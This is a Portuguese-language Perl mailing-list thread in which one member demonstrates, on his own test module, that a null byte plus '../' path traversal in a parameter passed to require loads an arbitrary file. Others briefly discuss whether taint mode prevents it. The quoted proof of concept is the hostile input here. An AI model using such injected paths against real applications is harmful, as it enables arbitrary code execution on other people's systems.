Posso estar enganado, mas taint marca como "sanitizado" quer string que passa por expressão regular. No exemplo acima, nem com o taint corrigiria (não olhei tão atentamente, por outro lado). Alias, quem é que usa taint? :P
вторник, 11 июня 2013 г. пользователь Tiago Peczenyj писал: > teste em 'taint' mode :) > > > 2013/6/11 Junior Moraes <[email protected] <javascript:_e({}, 'cvml', > '[email protected]');>> > >> Hi. >> >> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1] >> dentro de um webservice que retorna as informações desejadas. Neste módulo, >> temos o método adExport() que recebe um parâmetro (que, no caso da >> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o >> módulo. >> Fiquei brincando de manipular o path com esse parâmetro, mas a >> concatenação da string '.pm' dificultava as coisas. Porém, como na >> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível >> ignorar isso com o bom e velho null byte[2]. >> >> Escrevi um exemplo prático: >> >> $ pwd >> /home/fvox/poc >> >> $ cat Module.pm >> package Module; >> >> use common::sense; >> use Moo; >> use Carp; >> >> use vars qw(@ISA @EXPORT); >> @ISA = qw(Exporter); >> @EXPORT = qw(testing); >> >> sub testing { >> my $plugin = shift; >> >> my $module = 'Module/' . $plugin . '.pm'; >> eval { require $module; }; >> croak $@ if $@; >> >> $module =~ s/\//::/g; >> $module =~ s/\.pm$//gi; >> my $obj = $module->new; >> } >> >> 1; >> >> $ cat inc.pl >> print "Null Byte injetado com sucesso! :)\n"; >> >> $ perl -MModule -E'say >> testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null Byte >> injetado com sucesso! :)* >> Can't locate object method "new" via package >> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" >> (perhaps you forgot to load >> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at >> Module.pm line 21. >> >> >> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que >> é possível injetar um 'evil code' num código vulnerável sem muitos >> problemas. Suponho que também funcione na função open(), entre outros casos. >> Alguém já tinha brincado com isso antes? Hhauhauh >> >> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de >> retardado e brincar com isso em 2013... :P >> >> [1] https://metacpan.org/module/AnyData >> [2] http://en.wikipedia.org/wiki/Null_character >> >> -- >> >> ==================================== >> Junior "fvox" Moraes >> Linux Reg. #557527 >> junior[at]fvox[dot]com[dot]br >> fb[dot]com/juniorfvox >> twitter[dot]com/fvox >> ==================================== >> =begin disclaimer >> Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ >> SaoPaulo-pm mailing list: [email protected] <javascript:_e({}, 'cvml', >> '[email protected]');> >> L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> >> =end disclaimer >> >> > > > -- > Tiago B. Peczenyj > Linux User #405772 > > http://about.me/peczenyj > -- Отправлено с моего iPhone
=begin disclaimer Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ SaoPaulo-pm mailing list: [email protected] L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> =end disclaimer
